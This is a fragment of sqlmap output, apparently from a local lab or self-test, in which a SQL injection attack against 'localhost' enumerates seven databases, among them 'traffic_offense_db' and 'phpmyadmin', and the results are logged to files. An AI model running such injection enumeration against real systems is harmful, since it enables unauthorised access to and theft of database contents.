fetching database names [06:06:24] [INFO] retrieved: 'information_schema' [06:06:24] [INFO] retrieved: 'mysql' [06:06:24] [INFO] retrieved: 'performance_schema' [06:06:24] [INFO] retrieved: 'phpmyadmin' [06:06:24] [INFO] retrieved: 'test' [06:06:24] [INFO] retrieved: 'test2' [06:06:24] [INFO] retrieved: 'traffic_offense_db' available databases [7]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] test [*] test2 [*] traffic_offense_db [06:06:24] [INFO] fetched data logged to text files under 'C:\Users\Hubert\AppData\Local\sqlmap\output\localhost' [*] ending @ 06:06:24 /2021-10-07/